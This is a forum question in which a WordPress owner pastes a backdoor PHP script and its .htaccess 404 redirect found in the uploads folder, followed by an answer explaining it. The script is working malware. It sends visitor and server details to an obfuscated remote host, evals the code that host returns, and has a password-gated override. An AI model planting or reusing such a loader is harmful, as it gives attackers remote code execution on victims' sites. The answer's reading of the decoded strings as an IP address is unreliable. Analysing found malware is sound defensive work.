phpwordpress

What is this script doing (found in Wordpress uploads folder)

I have found this script scattered around my Wordpress uploads folder on my shared host. I don't know how it got there, I have always been using the latest versions of Wordpress and all my plugins.

The script has been scattered into all possible sub-folders within my uploads folder, with a helper .htaccess file, to direct traffic to this script. It is only found inside the uploads folder, no files outside it.

Can you help me decode what this script was doing and how could I recover from it if it did anything bad?

Here is the helper .htaccess file,

Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php

And here is the main script (or in pastebin),

error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c); 
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c); 
else {
    $cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
    curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
    $o = curl_exec($cu);
    curl_close($cu);
    eval($o);
}
;
die();
Solution

  • First, it turns off error reporting, making sure that if something goes wrong, nobody will see the error message.

    then, it seems to download a file from another server.

    The IP address of that server has been obfuscated by jumbling it a bit, and base64encoding the fragments. The complex spaghetti-code of if-statements reassembles it into a (probably) valid server IP address.

    If it can download that file, it will eval() it, meaning that it will interpret it as PHP, and run it.